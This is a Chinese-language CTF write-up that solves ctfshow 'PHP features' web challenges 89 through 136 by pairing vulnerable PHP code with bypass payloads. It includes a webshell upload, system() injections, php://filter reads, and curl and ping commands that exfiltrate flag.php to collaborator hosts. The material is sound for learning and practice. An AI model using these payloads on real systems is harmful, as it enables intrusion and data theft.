WEB入门——php特性

web89

include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}

考点:intval()函数

解决:
intval()通过使用指定的进制base转换(默认是十进制),返回变量var的integer数值。
intval()不能用于object,否则会产生E_NOTICE错误并返回 1

?num[]=1

web90

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

考点:intval()函数
难点:num != 4476但是num === 4476,可以通过intval函数来int一下
解决:

int intval ( mixed $var [, int $base = 10 ] )

如果 base 是 0,通过检测 var 的格式来决定使用的进制
1.存在字母的话遇到字母就停止读取但是e这个字母比较特殊,可以在PHP中不是科学计数法
2.如果字符串包括了“0x”或“0X”的前缀,使用16进制
3.如果字符串以 “0” 开始,使用 8 进制
4.将使用 10 进制

思路1:

?num=4476.0

思路2:
把4476转换成8进制、16进制

?num=010574
?num=0x117c

思路3:

4476e123

web91

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}

Notice: Undefined index: cmd in /var/www/html/index.php on line 15
nonononono

考点:[[php preg_match]]
难点:

要满足正则/^php$/im但不能满足/^php$/i

解决:

/i 表示匹配大小写
/m 多行匹配,若存在换行\n并且有开始^或结束$符的情况下,将以换行为分隔符,逐行进行匹配。

但是当出现换行符%0a的时候,$cmd的值会被当做两行处理,而此时第二个if正则匹配不符合以php开头和以php结尾

?cmd=%0Aphp

web92

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

考点:intval()函数

?num=010574
?num=0x117c
?num=4476e111

web93

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

考点:intval()函数
八进制

?num=010574

web94

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

考点:intval()函数
难点:
trpos() 是 PHP 中用于查找子字符串首次出现位置的常用函数
这里不让0开头了

解决:但是可以在前面加上一个加号,当空格

?num=+010574

web95

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

考点:intval()函数
难点:过滤了点而已关我什么事
解决:

?num=+010574

web96

highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }

}

考点:弱类型比较
难点:flag.php被过滤
解决:
思路1:

u=./flag.php

思路2:
[[php 伪协议]]

?u=php://filter/read=convert.base64-encode/resource=flag.php

web97

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

考点:md5
思路1:数组绕过

a[]=1&b[]=2
a[]=&b[]=

思路2:md5碰撞

web98

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?>

后面是三目运算符
如果存在get传参,则把post传参地址给get,可以简单理解为post覆盖了get:$_GET=&$_POST
如果get参数HTTP_FLAG的值为flag,就读取文件,也就是输出flag
GET:

?a=b

POST:

HTTP_FLAG=flag

web99

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

?>

首先创建一个数组,然后通过for循环向数组中写如随机数
第二个是判断是否传入了n并判断n是否在数组
最后用file_put_contents函数写数据到

array_push():用于将一个或多个元素插入/推入数组尾部
rand():随机生成数组rand(min,max)

rand(1,$i) #随机生成1-877之间的数

in_array():检查数组中是否存在某个值

in_array(mixed $needle,array $haystack,bool $strict false):bool

大海捞针,在大海(haystack)中搜索针(needle),如果没有设置strict则使用宽松的比较
题目中的in_array没有设置type,我们可以输入字符串5.php,转换之后也就是5,明显是在题目中生成的数组中的,满足条件
[[php file_put_contents]]
GET

?n=1.php

POST

content=<?php @eval($_POST['ant']);?>

web100

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }   
}
?>

解决:
[[php 运算优先级]]
$a = true and false;,因为=大于and,所以这里赋值为$a = True

?v1=1&v2=system("ls")&v3=;
返回:
ctfshow.php flag36d.php index.php

思路1:直接看

?v1=1&v2=system("tac%20ctfshow.php")&v3=;

思路2:加注释

?v1=1&v2=var_dump($ctfshow)?>%23&v3=;
?v1=1&v2=var_dump($ctfshow)/*&v3=*/;

web101

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}

?>

php中内置了强大的反射API:
ReflectionClass:一个反射类,功能十分强大,内置了各种获取类信息的方法,创建方式为:
new ReflectionClass(str 类名)
可以用echo new ReflectionClass(‘className’)打印类的信息
ReflectionObject:另一个反射类,创建方式为:
new ReflectionObject(对象名)

v1=1&v2=echo new ReflectionClass&v3=;

返回:

Class [ class ctfshow ] { @@ /var/www/html/ctfshow.php 15-17 - Constants [0] { } - Static properties [0] { } - Static methods [0] { } - Properties [3] { Property [ public $dalaoA ] Property [ public $dalaoB ] Property [ public $flag_e6dbe9490x2de65e0x2d49850x2d83670x2d4d854334685 ] } - Methods [0] { } }

web102

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}


?>

分析:
substr($v2,2) 是相当于返回v2[2:]
call_user_func() 用于调用方法或者变量,第一个参数是被调用的函数,第二个是调用的函数的参数
file_put_contents($v3,$str)是将$str的内容写入并保存为$v3

解题:
v2开头可以是00来作为开头
v2是shell

005044383959474e6864434171594473

这一串数字有些巧妙,这是16进制与字符串之间的互转,转换为16进制后的字符串,其中又带有e也会被当做科学计数法

5044383959474e6864434171594473

→hex2bin+base64-decode→

<?=`cat *`;

最终结果:
GET:

?v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php

POST:

v1=hex2bin

web103

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    if(!preg_match("/.*p.*h.*p.*/i",$str)){
        file_put_contents($v3,$str);
    }
    else{
        die('Sorry');
    }
}
else{
    die('hacker');
}

?>

GET:

?v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php

POST:

v1=hex2bin

web105

highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces);

?>

考点:php 变量覆盖

注意这里$key=$value,$($key)=$($value),这里$key=error,所以这里可以传一个$error(变量覆盖了属于是)
这里有die($error);die($suces);都能输出flag,所以这里有两个利用方式

思路1:
执行die($suces)

?suces=flag&flag=1

$flag = $1,在 PHP 中,变量 \(1 是未定义的(Undefined),所以它被解析为 NULL 结果:原始的 \)flag 变量被覆盖为空(NULL)
$_POST['flag']==$flag就成立了

思路2:
执行die($error);
两次变量覆盖
GET:

suces=flag

POST:

error=suces

web106

highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2) && $v1!=$v2){
        echo $flag;
    }
}
?>

[[php 函数安全]]
sha1绕过
GET:

v2[]=

POST:

v1[]=1

web107

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;
       }

}

parse_str(string,array):把查询字符串解析到变量中

GET:

?v3=1

POST:

v1=flag=c4ca4238a0b923820dcc509a6f75849b

web108

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
    die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
    echo $flag;
}

?>

分析:
ereg() :搜索由指定的字符串作为由模式指定的字符串,如果发现模式则返回true,否则返回false。
搜索对于字母字符是区分大小写的,这里是c的值要为[a-zA-Z],必须完全由字母组成
strrev() :反转字符串
0x36d十六进制数转化为十进制:877
intval():它从字符串开头解析数字,遇到非数字字符就停止

解决:
ereg可以用%00截断
intval可以用a截断

?c=a%00778

web109

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    }
}
?>

思路1:利用参数优先执行的特性

?v1=Exception&v2=system('cat fl36dg.txt')
?v1=Reflectionclass&v2=system('cat fl36dg.txt')
?v1=mysqli&v2=system('tac fl36dg.txt')
  1. 检查类名
    PHP 看到 new $v1。无论是 Exception 还是 mysqli,只要这个类在 PHP 中存在(内置类),PHP 就准备开始实例化它。
    (如果填了一个不存在的类,比如 abc,可能在这一步就直接报错停止了,轮不到后面执行)
  2. 计算参数(关键时刻!)
    为了创建对象,PHP 必须先算出括号里的值
    也就是要先执行 $v2() 里的内容。
  3. 执行注入命令
    你的 $v2 是 system('cat ...')。
    PHP 执行 system 函数。
    此时 Flag 被打印出来。
  4. 尝试调用返回值(报错点)
    system 执行完返回了字符串。
    代码后面强制加了个 ()。
    PHP 试图把字符串当函数调用 -> 报错崩溃

new [ 这里的词只要存在就行 ] ( [ 这里的代码最先执行 ] () )

思路2:注释后面的

?v1=Exception;system('cat fl36dg.txt');//&v2=a

执行流程解析

  1. echo new Exception; -> 实例化一个异常对象并输出(语法正确,顺利通过)。
  2. system('cat flag.php'); -> 执行系统命令,打印 Flag
  3. //($v2()); -> 被注释掉了,不执行

web110

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
            die("error v2");
    }

    eval("echo new $v1($v2());");
}
?>

FilesystemIterator 是 PHP 的原生类,用于遍历文件系统。
getcwd() 是 PHP 的内置函数,用于获取当前工作目录

?v1=FilesystemIterator&v2=getcwd

直接访问fl36dga.txt

web111

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
            die("error v2");
    }
    
    if(preg_match('/ctfshow/', $v1)){
            getFlag($v1,$v2);
    }

}

考点:变量覆盖、全局变量
分析:
[[php 引用传递]]
&$v1 和 &$v2:函数接收两个 引用参数,也就是说传入的是变量本身,而不是值的拷贝
假设调用时:

$a = 10; 
$b = 20; 
getFlag($a, $b);

在函数内部:
$v1 = 'a'
$v2 = 'b'
于是 eval 中的字符串变成:

$a = &$b;

让 $a 成为 $b 的引用(即两者指向同一内存地址)
最后:

var_dump($$v1); // 即 var_dump($a);

会输出 $a 的值,此时由于 $a 是 $b 的引用,所以输出的是 $b 的值(20)

到这里还是对v1和v2进行了正则的过滤,然后如果$v1有ctfshow,会进入getFlag函数

解决:
错误方法原因:

?v1=ctfshowweb&v2=flag #失败,返回NULL

函数内部默认无法访问全局变量 $flag,除非:

  • 使用 global $flag;,或
  • 通过 $GLOBALS['flag'] 访问
    在 getFlag 函数内部,$flag 是 未定义的局部变量 → 值为 NULL

为了满足条件,我们可以利用全局变量来进行赋值给ctfshow这个变量

?v1=ctfshowweb&v2=GLOBALS

解释:
$GLOBALS:引用全局作用域中可用的全部变量 一个包含了全部变量的全局组合数组。变量的名字就是数组的键。

web112

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}
?file=php://filter/resource=flag.php
?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
?file=php://filter/read=convert.iconv.UCS-4.LE/convert.iconv.UCS-4.BE/resource=flag.php
?file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=flag.php
?file=php://filter/read=convert.quoted-printable-encode/resource=flag.php
?file=compress.zlib://flag.php

web113

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

考点:[[php 伪协议]]
难点:用不了filter了
解决:
思路1:
可以直接用不带任何过滤器的filter伪协议

?file=compress.zlib://flag.php

思路2:
is_file目录长度溢出
在linux中/proc/self/root是指向根目录的,也就是如果在命令行中输入ls /proc/self/root,其实显示的内容是根目录下的内容进行目录溢出,超过is_file能处理的最大长度就不认为是个文件了

?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

web114

error_reporting(0);
highlight_file(__FILE__);
function filter($file){
    if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

有filter,不能convert

?file=php://filter/resource=flag.php

web115

include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
    if($num=='36'){
        echo $flag;
    }else{
        echo "hacker!!";
    }
}else{
    echo "hacker!!!";
}

思路1:
trim()是函数移除字符串两侧的空白字符或其他预定义字符
去除类型:
0x20:普通空格符
0x09:制表符
0x0A:换行符
0x0D:回车符
0x00:空字节符
0x0B:垂直制表符
is_numeric()在数字的前面加上%09 %0a %0b %0c %0d任意一个都可以使其为真不影响判断
发现最后%0c还可以用

?num=%0c36

思路2:
php跑个脚本看看有什么能来绕过trim呢

<?php
for ($i = 0; $i <= 128; $i++) {
    $a = chr($i) . '36';
    if (trim($a) !== '36' && is_numeric($a)) {
        echo urlencode(chr($i)) . "\n";
    }
}

发现能用%0c来绕过trim函数

web123

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?>

难点:绕过传参转换为_
PHP变量名应该只有数字、字母、下划线,同时GET或POST方式传进去的变量名,会自动将空格 + . [转换为_
但是有一个特性可以绕过,使变量名出现.之类的
特殊字符[, GET或POST方式传参时,变量名中的[也会被替换为_,但其后的字符就不会被替换了
如:CTF[SHOW.COM=>CTF_SHOW.COM

POST:

fun=echo $flag&CTF_SHOW=666&CTF[SHOW.COM=666

web125

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
         eval("$c".";");
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?>

难点:绕过传参转换为_,禁用了echo、flag
解决:
[[php 读取文件函数]]
思路1:利用$_GET
GET:

?1=flag.php 

POST:

CTF_SHOW=666&CTF[SHOW.COM=666&fun=highlight_file($_GET[1])

思路2:利用extract()
[[php 变量覆盖漏洞]]
extract:从数组中将变量导入到当前的符号表
POST:

CTF_SHOW=&CTF[SHOW.COM=&fun=extract($_POST)&fl0g=flag_give_me

web126

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}

$a=$_SERVER['argv'];
配置php.ini文件的register_argc_argv = On(默认是Off),重启服务。
如思路1,这里aaaaa是传入argv的一个参数,被当做一个数组传入进去
数组他是以空格进行分割的,比如ls /-als就是argv[0]/-a就是argv[2]

思路1:
[[php 变量覆盖漏洞]]
parse_str:解析 URL 查询字符串,将字符串解析成多个变量,没有返回值
GET:

?aaaaa=1+fl0g=flag_give_me

POST:

CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

利用$a=$_SERVER['argv'];,parse_str输出的是argv的第2个数组恰好就是加号(+会被解析成空格)后面的就只要了fl0g=flag_give_me
GET:

?aaaa=1+fl0g1=flag_give_me+fl0g=flag_give_me

POST:

CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[2])

思路2:
[[php 执行函数]]
直接利用代码执行函数assert或其他,对a[0]进行操作不用+进行分割
GET:

?$fl0g=flag_give_me  

POST:

CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])

web127

error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];


//特殊字符检测
function waf($url){
    if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
        return true;
    }else{
        return false;
    }
}

if(waf($url)){
    die("嗯哼?");
}else{
    extract($_GET);
}


if($ctf_show==='ilove36d'){
    echo $flag;
}

题目检查的是query_string而不是$_GET
因此可以利用不合法的变量名,让其自动替换成_

?ctf show=ilove36d

web128

error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
    var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
    echo "嗯哼?";
}

function check($str){
    return !preg_match('/[0-9]|[a-z]/i', $str);
}

解析:
_()是一个函数
_()就是gettext()
需要php扩展目录下有php_gettext.dll

gettext($msgid):获取翻译后的字符串
gettext(“get_defined_vars”);时会返还get_defined_vars

get_defined_vars():返回由所有已定义变量所组成的数组 这样可以获得 $flag

解决:

?f1=_&f2=get_defined_vars

web129

error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
    $f = $_GET['f'];
    if(stripos($f, 'ctfshow')>0){
        echo readfile($f);
    }
}

stripos():查找字符串首次出现的位置(不区分大小写)
strpos() 不同,stripos() 不区分大小写。

思路1:../../../..
利用文件穿越来得到flag

?f=/ctfshow/../../../../var/www/html/flag.php  
?f=./ctfshow/../flag.php

思路2:php://filter
php伪协议可以套一层协议,无效的话会被忽略

?f=php://filter/convert.base64-encode/ctfshowaaa/resource=flag.php
?f=php://filter/convert.base64-encode/ctfshowaaa/convert.base64-decode/resource=flag.php

web130

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = $_POST['f'];
    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f, 'ctfshow') === FALSE){
        die('bye!!');
    }
    echo $flag;
}

ctfshow前面不能有东西

思路1:
POST:

f=ctfshow

思路2:
stripos($array, 'xxx') 不会返回 FALSE,而是直接返回 NULL
而 NULL === FALSE 是 false
POST:

f[]=1

思路3:
正则的最大回溯
PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false

import requests
url = "https://290f7bd0-a3a6-4b25-8d4a-4ee2a747d91b.challenge.ctf.show"
data = {
    'f': 'very'*250000+'ctfshow'
}
res = requests.post(url=url,data=data,verify=False)
print(res.text)

web131

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = (String)$_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f,'36Dctfshow') === FALSE){
        die('bye!!');
    }

    echo $flag;

}

解决:

import requests  
url = "https://290f7bd0-a3a6-4b25-8d4a-4ee2a747d91b.challenge.ctf.show"  
data = {  
    'f': 'very'*250000+'36Dctfshow'  
}  
res = requests.post(url=url,data=data,verify=False)  
print(res.text)

web132

#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);


if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
    $username = (String)$_GET['username'];
    $password = (String)$_GET['password'];
    $code = (String)$_GET['code'];

    if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
        
        if($code == 'admin'){
            echo $flag;
        }
        
    }
}

考点:[[php 运算优先级]]

&&  ||  =   and   or
//从左往右,从高到低

所以这里password=$flag和username=admin满足一个即可,然后code要为admin

?username=admin&password=&code=admin

web134

highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
    die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
    die(file_get_contents('flag.php'));
}

考点:php 变量覆盖漏洞
思路:
1.先将GET方法请求的解析成变量,
2.然后在利用extract() 函数从数组中将变量导入到当前的符号表

?_POST[key1]=36d&_POST[key2]=36d

解释:
var_dump($_GET);效果如下:

array(1) {
  ["_POST"]=>
  array(2) {
    ["key1"]=>
    string(3) "36d"
    ["key2"]=>
    string(3) "36d"
  }
}

parse_str($_SERVER['QUERY_STRING']);效果如下:

["_POST"]=>
  array(2) {
    ["key1"]=>
    string(3) "36d"
    ["key2"]=>
    string(3) "36d"
}

extract($_POST);效果如下:

["key1"]=>
  string(3) "36d"
["key2"]=>
  string(3) "36d"

总结:
利用 parse_str 特性来“无中生有”地伪造 $_POST 数组,从而绕过原本的逻辑检查

web133

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
        eval(substr($F,0,6));
    }else{[[#web90]]
        die("6个字母都还不够呀?!");
    }
}

难点:6个字符的命令执行
分析:
一开始$F = @$_GET['F']
后来eval(substr($F,0,6));

解决:

?F=`$F`;+sleep 3

sleep 3换成别的命令
但是执行命令但没有回显,可以找方法外带

思路1:dnslog
http://www.dnslog.cn/

?F=`$F`; ping `cat flag.php | grep ctfshow | tr -cd "[a-z]"/"[0-9]"`.sxl7iv.dnslog.cn -c 1

思路2:Collaborator Client
WEB入门——php特性-1.png

p3t8gergqqcmgooxph48zlyvcmid64ut.oastify.com
?F=`$F`;+curl -X POST -F xx=@flag.php http://p3t8gergqqcmgooxph48zlyvcmid64ut.oastify.com

WEB入门——php特性-3.png

web135

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("师傅们居然破解了前面的,那就来一个加强版吧");
    }
}

难点:6个字符的命令执行

思路1:[[linux 命令执行绕过]]
反斜杠:

?F=`$F`;+cur\l -X POST -F xx=@flag.php http://pmfcjvqq1bd8f9rih89qjvn5gwmnady2.oastify.com

单引号:

?F=`$F`;+cur''l -X POST -F xx=@flag.php http://pmfcjvqq1bd8f9rih89qjvn5gwmnady2.oastify.com

双引号:

?F=`$F`;+cur""l -X POST -F xx=@flag.php http://pmfcjvqq1bd8f9rih89qjvn5gwmnady2.oastify.com

反引号:

?F=`$F`;+cur``l -X POST -F xx=@flag.php http://pmfcjvqq1bd8f9rih89qjvn5gwmnady2.oastify.com

思路2:换命令
ping命令:
通过ping命令去带出数据,然后awk NR一排一排的获得数据
DNS 外带写法中,反引号结束和域名直接拼接,不能有空格:
NR 记录数(行号),从1开始,新的文件延续上面的计数,新文件不从1开始

?F=`$F`;+ping `nl flag.php|awk 'NR==2'`.pmfcjvqq1bd8f9rih89qjvn5gwmnady2.oastify.com

cp命令:
用cp把flag复制到1.txt访问

?F=`$F`+;cp+flag.php+1.txt

web136

<?php
error_reporting(0);
function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
}
?>

考点:命令执行

思路1:tee()

?c=ls /|tee lssss

把命令执行结果写入lssss
访问:

/lssss

访问f149_15_h3r3:

?c=cat /f149_15_h3r3 |tee flaggggg

思路2:[[bash盲注]]

web139

